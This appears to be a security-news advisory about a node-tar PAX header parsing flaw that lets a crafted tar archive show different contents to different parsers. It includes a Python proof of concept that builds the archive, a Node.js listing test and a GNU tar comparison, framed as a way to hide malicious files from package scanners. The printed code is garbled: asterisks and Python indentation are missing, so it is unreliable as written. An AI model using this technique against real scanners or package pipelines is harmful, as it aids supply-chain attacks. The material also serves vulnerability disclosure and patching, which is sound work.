Listen to this Post
The flaw stems from node-tar’s incorrect handling of PAX extended headers. When a PAX header (x type) contains a `size=` override, node-tar applies that size not only to the next file entry (as per the POSIX specification) but also to any intermediary metadata headers that appear between the PAX header and the actual file, such as GNU long-name (L) headers.
This causes the parser’s stream position to become desynchronized from the actual archive layout. While standard tools like GNU tar and libarchive correctly skip the PAX size override when processing extension headers, node-tar consumes the wrong number of bytes when reading the `L` header. As a result, the parser jumps to an incorrect offset in the archive, misinterprets the data, and eventually fails with a checksum error.
An attacker can craft a tar archive that causes node-tar to see a completely different set of members than a reference parser would. This interpretation differential (CWE-436) allows malicious files to be hidden from a security scanner that uses one parser while being extracted by another tool. node-tar is used by npm and countless other Node.js applications, so this issue has a broad supply‑chain impact.
The root cause is in `src/header.ts` where the `size` field is unconditionally overridden by the currently accumulated PAX headers. The fix, already applied in the Rust ecosystem, is to ignore PAX size overrides when the header being decoded is itself an extension header (type L, K, x, or g).
DailyCVE Form:
Platform: Node.js tar Version: 7.5.15 Vulnerability: PAX desynchronization Severity: Medium date: 2025-10-21 Prediction: 2026-06-30
What Undercode Say
The following artifacts reproduce the vulnerability.
1. Generate a malicious archive (Python)
import struct
def hdr(name, size, typeflag):
h = bytearray(512)
name = name[:100]
h[0:len(name)] = name.encode()
h[100:108] = b'0000644\0'
h[108:116] = b'0000000\0'
h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode()
h[136:148] = b'00000000000\0'
h[156:157] = typeflag.encode()
h[257:263] = b'ustar\0'
h[263:265] = b'00'
h[148:156] = b' ' 8
cs = sum(h)
h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' ((512 - len(d) % 512) % 512)
def pax_record(key, val):
body = f' {key}={val}\n'.encode()
n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n:
break
n = len(s)
return s
pax = pax_record('size', '2048')
out = hdr('PaxHeaders/x', len(pax), 'x') + pad(pax)
out += hdr('././@LongLink', 13, 'L') + pad(b'longname.txt\0')
out += hdr('file_a', 16, '0') + pad(b'AAAA_file_a_body')
out += hdr('file_b', 16, '0') + pad(b'BBBB_file_b_body')
out += b'\0' 1024
with open('pax-desync.tar', 'wb') as f:
f.write(out)
2. Test the archive with node-tar 7.5.15
npm init -y && npm install [email protected]
// e2e.mjs
import as tar from 'tar';
async function listEntries(f) {
const got = [], warns = [];
await tar.list({
file: f,
onReadEntry: e => { got.push({path:e.path,size:e.size,type:e.type}); e.resume(); },
onwarn: (code,_msg) => warns.push(code)
});
return { got, warns };
}
const mal = await listEntries('pax-desync.tar');
console.log('MALICIOUS entries:', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns));
Expected output: `MALICIOUS entries: [] warnings: [“TAR_ENTRY_INVALID”]`
3. Reference parsers see the entry
tar tvf pax-desync.tar Output: -rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt
Exploit
An attacker crafts a tar archive with a PAX `size=` override before a GNU long‑name header. When node‑tar reads the `L` header, it applies the PAX size (e.g., 2048) instead of the real length of the long‑name payload. The parser then consumes 2048 bytes of the archive, skipping over the actual file header, and lands mid‑stream. This results in a checksum failure and zero entries reported. Meanwhile, GNU tar and libarchive correctly ignore the PAX size for the `L` header and extract the hidden file.
Protection
- Upgrade node‑tar to a version that contains the fix (expected in a forthcoming release > 7.5.15). The patch will apply PAX size overrides only to regular file entries, not to extension headers (
L,K,x,g). - Use a different tar parser for critical security scanning, such as GNU tar or libarchive.
- Filter archives to reject those containing a PAX `size=` record followed by a GNU long‑name entry. However, this is not a complete defense.
Impact
- CWE-436 – Interpretation conflict between different tar parsers.
- An attacker can hide malicious files from node‑tar based security scanners, while those files are still extracted by the eventual tool (e.g., a system `tar` invocation).
- This undermines supply‑chain security, especially in environments that scan npm package tarballs or user‑uploaded archives before extraction.
- No direct remote code execution, but it is a building block for scanner‑evasion and supply‑chain attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

